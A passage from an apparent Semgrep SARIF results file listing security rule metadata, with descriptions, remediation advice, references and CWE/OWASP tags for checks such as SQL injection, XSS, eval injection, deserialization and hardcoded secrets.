encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","id":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","name":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli)\n - [https://www.sqlitetutorial.net/sqlite-nodejs/](https://www.sqlitetutorial.net/sqlite-nodejs/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli","id":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","name":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-sqlite-sqli.express-sqlite-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","id":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","name":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"help":{"markdown":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","id":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","name":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into eval. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into eval. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Detected user data flowing into eval. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection","id":"python.flask.security.injection.user-eval.eval-injection","name":"python.flask.security.injection.user-eval.eval-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-eval.eval-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"help":{"markdown":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","id":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","name":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret)\n - [https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","id":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","name":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","id":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","name":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context","id":"python.django.security.globals-as-template-context.globals-as-template-context","name":"python.django.security.globals-as-template-context.globals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.globals-as-template-context.globals-as-template-context"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","id":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","name":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","id":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","name":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"help":{"markdown":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n","text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"help":{"markdown":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal)\n - [https://www.owasp.org/index.php/Path_Traversal](https://www.owasp.org/index.php/Path_Traversal)\n","text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the path."},"helpUri":"https://semgrep.dev/r/java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","id":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","name":"java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.jax-rs.security.jax-rs-path-traversal.jax-rs-path-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","id":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","name":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","id":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","name":"csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.sqli.systemdata-taint-grpc.systemdata-taint-grpc"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","id":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","name":"kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-credentials.okhttp3.Credentials"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","id":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","name":"kotlin.ktor.xss.ktor-request-xss.ktor-request-xss","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting 